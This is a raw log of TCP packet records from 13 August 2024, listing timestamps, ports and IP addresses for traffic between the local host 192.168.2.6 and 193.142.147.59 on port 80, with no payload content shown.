Aug 13, 2024 10:21:14.784231901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784234047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784245968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784246922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784272909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784298897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785202980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785219908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785231113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785240889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785242081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785253048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785259008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785265923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785274982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785276890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785288095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785301924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785310030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785312891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785322905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785325050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785334110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785343885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785351992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785357952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.785377979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.785393953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786114931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786129951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786139965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786151886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786154032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786164045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786174059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786174059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786185026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786196947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786209106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786209106 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786221027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786226988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786242962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786268950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786848068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786863089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786874056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786885023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786884069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786895990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786902905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786907911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786917925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786930084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786930084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786941051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786951065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786953926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786964893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786968946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.786976099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786986113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.786999941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787028074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787779093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787792921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787805080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787818909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787820101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787830114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787842035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787842035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787853003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787863970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787874937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787875891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787888050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787890911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787899017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787909031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787911892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787919998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.787934065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.787965059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.788739920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788753986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788764000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788775921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788781881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.788786888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788798094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788808107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788810968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.788819075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788831949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788842916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788846970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.788852930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788853884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.788865089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788875103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.788877010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.788892031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.788918018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.869520903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869539976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869553089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869625092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869637966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869646072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869649887 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.869699001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.869754076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869767904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869796991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.869823933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.869973898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869985104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.869996071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870004892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870011091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870022058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870033026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870033979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870055914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870069027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870281935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870353937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870412111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870424032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870436907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870448112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870459080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870470047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870475054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870476007 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870476007 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870481014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870524883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870524883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.870839119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.870888948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871056080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871066093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871076107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871087074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871097088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871109009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871112108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871119976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871131897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871143103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871148109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871160030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871165037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871165037 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871176004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871186972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871208906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871216059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871911049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871921062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871932030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871942043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871958017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871959925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871968031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871982098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.871983051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.871994972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872006893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872016907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872019053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872030973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872041941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872045040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872052908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872062922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872066021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872075081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872086048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872113943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872756004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872766972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872776985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872786999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872795105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872806072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872811079 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872812033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872826099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.872837067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872854948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.872863054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.873353958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873364925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873377085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873388052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873398066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873409033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873411894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.873420000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873430967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873431921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.873441935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873452902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873455048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.873465061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873475075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.873476028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873488903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873498917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.873506069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.873531103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.873555899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.874303102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874315023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874325991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874336004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874346018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874356985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874358892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.874367952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874378920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874388933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874394894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874406099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874417067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874420881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.874428034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874428034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.874439955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874450922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.874458075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.874471903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.874492884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.875247955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875258923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875268936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875278950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875288963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875297070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.875299931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875310898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875315905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.875323057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875333071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875343084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875348091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.875355005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875365973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875366926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.875375986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875386953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.875387907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.875406027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.875435114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.876091957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.876105070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.876116991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.876127958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.876137972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.876142025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.876152039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.876173019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.876199007 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957099915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957125902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957138062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957236052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957236052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957276106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957287073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957299948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957310915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957310915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957348108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957523108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957535028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957544088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957556009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957575083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957597017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957797050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957809925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957820892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957849026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957871914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957885981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957962036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957974911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957986116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.957988024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.957997084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958009005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958009958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958019972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958022118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958096981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958281994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958292961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958321095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958350897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958364010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958372116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958376884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958388090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958389044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958403111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958409071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958417892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958436012 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958478928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958787918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958800077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958820105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958832979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958844900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958849907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958849907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958857059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958868980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.958893061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.958915949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.959316015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959327936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959340096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959352970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959362030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.959364891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959377050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959388018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959399939 CEST	80	49711	193.142.147.59	192.168.2.6
